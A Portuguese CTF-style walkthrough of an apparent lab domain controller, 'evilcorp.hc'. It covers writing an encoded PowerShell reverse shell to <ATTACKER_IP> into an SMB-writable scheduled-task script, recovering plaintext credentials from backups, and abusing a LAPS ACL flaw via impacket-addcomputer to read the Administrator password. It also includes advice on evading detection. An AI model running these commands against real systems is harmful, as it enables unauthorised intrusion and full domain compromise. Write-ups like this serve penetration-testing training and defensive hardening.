Máquina Windows Server 2022 com Active Directory onde um share SMB writable permite injetar um reverse shell numa scheduled task. Credenciais encontradas num backup levam à enumeração LAPS, onde uma misconfiguration nas ACLs permite a qualquer
Domain Computerler a password do Administrator.
Recon
Port scan
rustscan -a evilcorp.hc -- -sV
O conjunto clássico de um Domain Controller — Kerberos, LDAP/LDAPS, SMB, DNS e WinRM. Com SMB exposto, comecei pela enumeração anônima.
SMB
Enumerei o SMB anonimamente e encontrei um share scripts com permissões de leitura e escrita para Guest.
nxc smb evilcorp.hc -u 'Guest' -p '' --shares
Dentro do share scripts existia um arquivo autobackup.ps1 — um script PowerShell executado por uma scheduled task a cada minuto.
smbclient //evilcorp.hc/scripts -U 'Guest%' -c 'get autobackup.ps1'
Foothold
Com escrita no share, injetei um reverse shell PowerShell encoded no autobackup.ps1. Coloquei o payload antes do código legítimo do script para que rodasse na próxima iteração da scheduled task sem quebrar o fluxo de backup.
$code = '$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER_IP>",443); ...'
$bytes = [Text.Encoding]::Unicode.GetBytes($code)
$b64 = [Convert]::ToBase64String($bytes)
Antepus a invocação powershell -e <BASE64> ao autobackup.ps1 e reenviei o arquivo via smbclient.
smbclient //evilcorp.hc/scripts -U 'Guest%' -c 'put autobackup.ps1'
Subi um listener nc -lvnp 443 e recebi a shell como evilcorp\phillip em menos de um minuto. A flag de user fica em C:\Users\phillip\Desktop\user.txt.
Privilege Escalation
Backup credentials
Os backups em C:\backups continham arquivos de C:\files, incluindo um logins.txt com as credenciais do phillip em claro. Extraí o arquivo e li a password — necessária para autenticar contra LDAP/SMB fora da shell, no passo de LAPS.
tar -tzf C:\backups\backup_20250108_224501.tar.gz
cd C:\Users\phillip & tar -xzf C:\backups\backup_20250108_224501.tar.gz & type phillip\logins.txt
LAPS enumeration
Com as credenciais do phillip, confirmei que o atributo ms-MCS-AdmPwd (LAPS legacy) não era legível pelo próprio phillip:
nxc ldap evilcorp.hc -u phillip -p 'BT2h3ZTI5I6xuXRsFSd8NYpKB' -M laps
Analisei as ACLs do objeto CN=DC-01,OU=LAPS,DC=evilcorp,DC=hc com dsacls e encontrei a misconfiguration:
Como phillip possui SeMachineAccountPrivilege (MachineAccountQuota >= 1), criei uma machine account e usei-a para ler a password.
Machine account + LAPS read
impacket-addcomputer evilcorp.hc/phillip:'BT2h3ZTI5I6xuXRsFSd8NYpKB' -computer-name 'FAKE01$' -computer-pass 'FakeP@ss123!' -dc-ip evilcorp.hc
nxc ldap evilcorp.hc -u 'FAKE01$' -p 'FakeP@ss123!' -M laps
A password retornada pertence ao Administrator (legacy LAPS). Com ela, confirmei o acesso como Domain Admin e li a flag de root em C:\Users\Administrator\Desktop\root.txt.
nxc smb evilcorp.hc -u Administrator -p '.ZFVTO}oK9FVwl' -x 'dir C:\Users\Administrator\Desktop'
Lessons Learned
- SMB anônimo com share writable é um vetor direto em Windows com scheduled tasks — vale sempre enumerar o acesso Guest com
nxc --shares. - Scheduled tasks em PowerShell servem tanto para persistência como para escalação: antepor o payload ao código legítimo preserva a função original e reduz a chance de detecção.
- LAPS legacy (
ms-MCS-AdmPwd) depende inteiramente das ACLs do atributo — o edgeReadLAPSPasswordno BloodHound revela a misconfiguration rapidamente. SeMachineAccountPrivilege(MachineAccountQuota >= 1) combinado com read ACL viaDomain Computerspermite o bypass. Auditardsaclsna OU do DC fecha esse caminho.impacket-addcomputercom uma credencial de usuário padrão cria uma máquina que herda as permissões deDomain Computers— um passo de lateralização discreto e de impacto alto.
Impact
- A EvilCorp perde o controle da sua espinha dorsal de identidade: com Domain Admin, o atacante alcança as contas, estações e servidores de todos os funcionários — e-mail, arquivos e sistemas internos inclusos.
- Um intruso que entra sem credencial e termina com as chaves do domínio pode paralisar a operação, distribuir ransomware em escala ou exfiltrar dados corporativos sem deixar um canto fora de alcance.
- Conter o incidente normalmente obriga a reconstruir a floresta AD — semanas de indisponibilidade e custo elevado, muito além do servidor comprometido.